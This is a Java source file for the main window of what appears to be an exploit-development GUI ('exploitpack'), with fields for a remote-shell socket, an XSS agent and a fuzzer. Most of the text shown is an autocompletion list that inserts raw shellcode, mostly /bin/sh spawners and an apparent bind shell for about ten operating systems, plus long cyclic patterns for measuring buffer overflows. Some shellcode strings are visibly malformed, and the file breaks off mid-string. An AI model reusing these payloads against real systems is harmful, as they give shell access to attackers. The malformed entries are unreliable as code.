package exploitpack;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.awt.Color;
import java.awt.Desktop;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Timestamp;
import java.text.Format;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.sound.sampled.AudioFormat;
import javax.sound.sampled.AudioInputStream;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;
import javax.sound.sampled.DataLine;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.UnsupportedAudioFileException;
import javax.swing.ImageIcon;
import javax.swing.JFileChooser;
import static javax.swing.JFrame.EXIT_ON_CLOSE;
import javax.swing.JOptionPane;
import javax.swing.text.DefaultCaret;
import static javax.swing.text.DefaultCaret.ALWAYS_UPDATE;
import javax.swing.text.DefaultEditorKit;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellRenderer;
import javax.swing.tree.DefaultTreeModel;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.fife.ui.autocomplete.AutoCompletion;
import org.fife.ui.autocomplete.BasicCompletion;
import org.fife.ui.autocomplete.CompletionProvider;
import org.fife.ui.autocomplete.DefaultCompletionProvider;
import org.fife.ui.autocomplete.ShorthandCompletion;
import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea;
import org.fife.ui.rsyntaxtextarea.SyntaxConstants;
import org.fife.ui.rtextarea.RTextScrollPane;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

/**
 *
 * @author jsacco
 */
public class MainFrame extends javax.swing.JFrame {

    private String LogTime;
    private int TotalModulesLength;
    XMLTreenode NewXMLNode = new XMLTreenode();
    Exploit exploit = new Exploit();
    private Object LastTreeItemSelected;
    public String runModule = null;
    private String ShellcodeSelected = null;
    public String multiServerip;
    public String multiServerport;
    public Socket sockRemoteShell = null;
    ServerSocket ssock;
    RSyntaxTextArea jTextAreaModuleEditor = new RSyntaxTextArea(20, 60);
    RSyntaxTextArea jTextAreaTargets = new RSyntaxTextArea(20, 60);

    static XSSObject xssAgent = new XSSObject();

    // Configuration
    public String nmappath;
    public String pythonpath;
    public String ScannerOptions = "";
    public String serverPort = "";
    public String userName = "";
    public String userEmail = "";
    public String userWeb = "";
    List<String> config = new ArrayList<>();
    StringBuilder pentestNote = new StringBuilder();
    Process processFuzzer;

    /**
     * Create a simple provider that adds some Java-related completions.
     */
    private CompletionProvider createCompletionProvider() {

        // A DefaultCompletionProvider is the simplest concrete implementation
        // of CompletionProvider. This provider has no understanding of
        // language semantics. It simply checks the text entered up to the
        // caret position for a match against known completions. This is all
        // that is needed in the majority of cases.
        DefaultCompletionProvider provider = new DefaultCompletionProvider();

        // Add completions for all Java keywords. A BasicCompletion is just
        // a straightforward word completion.
        provider.addCompletion(new BasicCompletion(provider, "abstract"));
        provider.addCompletion(new BasicCompletion(provider, "assert"));
        provider.addCompletion(new BasicCompletion(provider, "break"));
        provider.addCompletion(new BasicCompletion(provider, "case"));
        provider.addCompletion(new BasicCompletion(provider, "transient"));
        provider.addCompletion(new BasicCompletion(provider, "try"));
        provider.addCompletion(new BasicCompletion(provider, "while() { }"));
        provider.addCompletion(new BasicCompletion(provider, "for(i in x) do{} done"));
        provider.addCompletion(new BasicCompletion(provider, "if { } else { }"));
        provider.addCompletion(new BasicCompletion(provider, "payload"));
        provider.addCompletion(new BasicCompletion(provider, "junk"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeOSX32 = \"\"\"\\x48\\x31\\xff\\x40\\xb7\\x02\\x48\\x31\\xf6\\x40\\xb6\\x01\\x48\\x31\\xd2\\x48\" \\\n"
                + "\"\\x31\\xc0\\xb0\\x02\\x48\\xc1\\xc8\\x28\\xb0\\x61\\x49\\x89\\xc4\\x0f\\x05\\x49\" \\\n"
                + "\"\\x89\\xc1\\x48\\x89\\xc7\\x48\\x31\\xf6\\x56\\xbe\\x01\\x02\\x11\\x5c\\x83\\xee\" \\\n"
                + "\"\\x01\\x56\\x48\\x89\\xe6\\xb2\\x10\\x41\\x80\\xc4\\x07\\x4c\\x89\\xe0\\x0f\\x05\" \\\n"
                + "\"\\x48\\x31\\xf6\\x48\\xff\\xc6\\x41\\x80\\xc4\\x02\\x4c\\x89\\xe0\\x0f\\x05\\x48\" \\\n"
                + "\"\\x31\\xf6\\x41\\x80\\xec\\x4c\\x4c\\x89\\xe0\\x0f\\x05\\x48\\x89\\xc7\\x48\\x31\" \\\n"
                + "\"\\xf6\\x41\\x80\\xc4\\x3c\\x4c\\x89\\xe0\\x0f\\x05\\x48\\xff\\xc6\\x4c\\x89\\xe0\" \\\n"
                + "\"\\x0f\\x05\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\" \\\n"
                + "\"\\x57\\x48\\x89\\xe7\\x48\\x31\\xd2\\x41\\x80\\xec\\x1f\\x4c\\x89\\xe0\\x0f\\x05\";\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeOSX64 = \"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x57\\x48\\x89\\xe7\\x48\\x31\\xd2\\x48\\x31\\xc0\\xb0\\x02\\x48\\xc1\\xc8\\x28\\xb0\\x3b\\x0f\\x05\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeWin32 = \"\\x31\\xc0\\x50\\x68\\x42\\x34\\x6d\\x7c\\x68\\x7c\\x42\\x33\\x6d\\x89\\xe1\\xbb\\xd4\\x29\\x86\\x7c\\x51\\x50\\xff\\xd3\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeWin64 =  \"\\x64\\xA1\\x30\\x00\\x00\\x00\\x8B\\x40\\x02\\xBB\\x00\\x80\\xFF\\x7F\\x81\\xC3\\x00\\x80\\xFF\\x7F\\x43\\x68\\x00\\x03\\x00\\x00\\x68\\x00\\x02\\x00\\x00\\xBA\\x8F\\x7A\\x83\\x7C\\x3B\\xC3\\x75\\x02\\xFF\\xD2\\x6A\\x00\\xE8\\x01\\x00\\x00\\x00\\xCC\\xFF\\x25\\x00\\x20\\x40\\x00\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeLinux64 = \"\\48\\31\\c0\\48\\83\\c0\\3b\\48\\31\\ff\\57\\48\\bf\\2f\\62\\69\\6e\\2f\\2f\\73\\68\\57\\48\\8d\\3c\\24\\48\\31\\f6\\48\\31\\d2\\0f\\05\\n\r\""));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeLinux32 = \"\\xb0\\x46\\x31\\xc0\\xcd\\x80\\xeb\\x07\\x5b\\x31\\xc0\\xb0\\x0b\\xcd\\x80\\x31\\xc9\\xe8\\xf2\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeSolaris = \"\\x31\\xc0\\x50\\x68\\x62\\x6f\\x6f\\x74\\x68\\x6e\"\n"
                + "            \"\\x2f\\x72\\x65\\x68\\x2f\\x73\\x62\\x69\\x68\\x2f\"\n"
                + "            \"\\x75\\x73\\x72\\x89\\xe3\\x50\\x53\\x89\\xe1\\x50\"\n"
                + "            \"\\x51\\x53\\xb0\\x0b\\x50\\xcd\\x91\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeSolarisx86 = \"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\\x50\\x68\"\n"
                + "		\"\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\"\n"
                + "		\"\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\"\n"
                + "		\"\\x50\\xcd\\x91\\x40\\x50\\x50\\xcd\\x91\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeFreeBSD = \"\"\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x04\\x3b\\x48\\xbb\"\n"
                + "\"\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x52\\x53\"\n"
                + "\"\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05\"\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeHPUX = \"\\xe8\\x3f\\x1f\\xfd\\x08\\x21\\x02\\x80\\x34\\x02\\x01\\x02\\x08\\x41\\x04\\x02\\x60\\x40\"\n"
                + "  \"\\x01\\x62\\xb4\\x5a\\x01\\x54\\x0b\\x39\\x02\\x99\\x0b\\x18\\x02\\x98\\x34\\x16\\x04\\xbe\"\n"
                + "  \"\\x20\\x20\\x08\\x01\\xe4\\x20\\xe0\\x08\\x96\\xd6\\x05\\x34\\xde\\xad\\xca\\xfe/bin/sh\\xff\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "shellcodeOpenBSD = \"\\x31\\xc0\\x66\\xba\\x0e\\x27\\x66\\x81\\xea\\x06\\x27\\xb0\\x37\\xcd\\x80\"\n\r"));

        provider.addCompletion(new BasicCompletion(provider, "pattern256 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern512 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMA\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern1024 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnC\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern2048 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern4096 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA;aA;0A;FA;bA;1A;GA;cA;2A;HA;dA;3A;IA;eA;4A;JA;fA;5A;KA;gA;6A;LA;hA;7A;MA;iA;8A;NA;jA;9A;OA;kA;PA;lA;QA;mA;RA;oA;SA;pA;TA;qA;UA;rA;VA;tA;WA;uA;XA;vA;YA;wA;ZA;xA;yA;zA)%A)sA)BA)$A)nA)CA)-A)(A)DA);A))A)EA)aA)0A)FA)bA)1A)GA)cA)2A)HA)dA)3A)IA)eA)4A)JA)fA)5A)KA)gA)6A)LA)hA)7A)MA)iA)8A)NA)jA)9A)OA)kA)PA)lA)QA)mA)RA)oA)SA)pA)TA)qA)UA)rA)VA)tA)WA)uA)XA)vA)YA)wA)ZA)xA)yA)zAE%AEsAEBAE$AEnAECAE-AE(AEDAE;AE)AEEAEaAE0AEFAEbAE1AEGAEcAE2AEHAEdAE3AEIAEeAE4AEJAEfAE5AEKAEgAE6AELAEhAE7AEMAEiAE8AENAEjAE9AEOAEkAEPAElAEQAEmAERAEoAESAEpAETAEqAEUAErAEVAEtAEWAEuAEXAEvAEYAEwAEZAExAEyAEzAa%AasAaBAa$AanAaCAa-Aa(AaDAa;Aa)AaEAaaAa0AaFAabAa1AaGAacAa2AaHAadAa3AaIAaeAa4AaJAafAa5AaKAagAa6AaLAahAa7AaMAaiAa8AaNAajAa9AaOAakAaPAalAaQAamAaRAaoAaSAapAaTAaqAaUAarAaVAatAaWAauAaXAavAaYAawAaZAaxAayAazA0%A0sA0BA0$A0nA0CA0-A0(A0DA0;A0)A0EA0aA00A0FA0bA01A0GA0cA02A0HA0dA03A0IA0eA04A0JA0fA05A0KA0gA06A0LA0hA07A0MA0iA08A0NA0jA09A0OA0kA0PA0lA0QA0mA0RA0oA0SA0pA0TA0qA0UA0rA0VA0tA0WA0uA0XA0vA0YA0wA0ZA0xA0yA0zAF%AFsAFBAF$AFnAFCAF-AF(AFDAF;AF)AFEAFaAF0AFFAFbAF1AFGAFcAF2AFHAFdAF3AFIAFeAF4AFJAFfAF5AFKAFgAF6AFLAFhAF7AFMAFiAF8AFNAFjAF9AFOAFkAFPAFlAFQAFmAFRAFoAFSAFpAFTAFqAFUAFrAFVAFtAFWAFuAFXAFvAFYAFwAFZAFxAFyAFzAb%AbsAbBAb$AbnAbCAb-Ab(AbDAb;Ab)AbEAbaAb0AbFAbbAb1AbGAbcAb2AbHAbdAb3AbIAbeAb4AbJAbfAb5AbKAbgAb6AbLAbhAb7AbMAbiAb8AbNAbjAb9AbOAbkAbPAblAbQAbmAbRAboAbSAbpAbTAbqAbUAbrAbVAbtAbWAbuAbXAbvAbYAbwAbZAbxAbyAbzA1%A1sA1BA1$A1nA1CA1-A1(A1DA1;A1)A1EA1aA10A1FA1bA11A1GA1cA12A1HA1dA13A1IA1eA14A1JA1fA15A1KA1gA16A1LA1hA17A1MA1iA18A1NA1jA19A1OA1kA1PA1lA1QA1mA1RA1oA1SA1pA1TA1qA1UA1rA1VA1tA1WA1uA1XA1vA1YA1wA1ZA1xA1yA1zAG%AGsAGBAG$AGnAGCAG-AG(AGDAG;AG)AGEAGaAG0AGFAGbAG1AGGAGcAG2AGHAGdAG3AGIAGeAG4AGJAGfAG5AGKAGgAG6AGLAGhAG7AGMAGiAG8AGNAGjAG9AGOAGkAGPAGlAGQAGmAGRAGoAGSAGpAGTAGqAGUAGrAGVAGtAGWAGuAGXAGvAGYAGwAGZAGxAGyAGzAc%AcsAcBAc$AcnAcCAc-Ac(AcDAc;Ac)AcEAcaAc0AcFAcbAc1AcGAccAc2AcHAcdAc3AcIAceAc4AcJAcfAc5AcKAcgAc6AcLAchAc7AcMAciAc8AcNAcjAc9AcOAckAcPAclAcQAcmAcRAcoAcSAcpAcTAcqAcUAcrAcVActAcWAcuAcXAcvAcYAcwAcZAcxAcyAczA2%A2sA2BA2$A2nA2CA2-A2(A2DA2;A2)A2EA2aA20A2FA2bA21A2GA2cA22A2HA2dA23A2IA2e\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern8196 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA;aA;0A;FA;bA;1A;GA;cA;2A;HA;dA;3A;IA;eA;4A;JA;fA;5A;KA;gA;6A;LA;hA;7A;MA;iA;8A;NA;jA;9A;OA;kA;PA;lA;QA;mA;RA;oA;SA;pA;TA;qA;UA;rA;VA;tA;WA;uA;XA;vA;YA;wA;ZA;xA;yA;zA)%A)sA)BA)$A)nA)CA)-A)(A)DA);A))A)EA)aA)0A)FA)bA)1A)GA)cA)2A)HA)dA)3A)IA)eA)4A)JA)fA)5A)KA)gA)6A)LA)hA)7A)MA)iA)8A)NA)jA)9A)OA)kA)PA)lA)QA)mA)RA)oA)SA)pA)TA)qA)UA)rA)VA)tA)WA)uA)XA)vA)